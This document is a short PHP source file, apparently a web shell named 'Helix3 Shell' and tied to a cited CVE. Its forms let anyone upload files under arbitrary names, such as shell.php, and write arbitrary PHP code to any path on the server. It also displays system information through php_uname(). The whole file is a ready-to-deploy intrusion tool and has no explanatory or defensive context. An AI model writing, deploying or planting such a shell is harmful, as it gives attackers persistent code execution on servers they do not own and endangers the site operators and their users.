<?php
echo '<h2>Helix3 Shell</h2>';

// ---- File upload with rename ----
echo '<h3>Upload File (rename possible)</h3>';
echo '<form method="post" enctype="multipart/form-data">';
echo 'Local file: <input type="file" name="file"><br>';
echo 'Remote filename: <input type="text" name="newname" placeholder="e.g. shell.php"><br>';
echo '<input type="submit" name="upload" value="Upload">';
echo '</form>';

if(isset($_POST['upload']) && isset($_FILES['file'])) {
    $tmp = $_FILES['file']['tmp_name'];
    $newname = $_POST['newname'] ?: $_FILES['file']['name'];
    if(@copy($tmp, $newname)) {
        echo "Uploaded to: $newname<br>";
        echo "<a href='$newname'>$newname</a>";
    } else {
        echo "Upload failed.";
    }
}

// ---- Create file with content ----
echo '<h3>Create File (write content)</h3>';
echo '<form method="post">';
echo 'Filename: <input type="text" name="filename"><br>';
echo 'Content (PHP code): <textarea name="content" rows="5" cols="40"></textarea><br>';
echo '<input type="submit" name="create" value="Create">';
echo '</form>';

if(isset($_POST['create'])) {
    $fn = $_POST['filename'];
    $content = $_POST['content'];
    if(@file_put_contents($fn, $content)) {
        echo "File created: $fn<br>";
        echo "<a href='$fn'>$fn</a>";
    } else {
        echo "Creation failed.";
    }
}

// ---- Show system info ----
echo '<pre>' . php_uname() . '</pre>';
echo '<hr><small>Helix3 shell (CVE-2026-49049)</small>';
?>
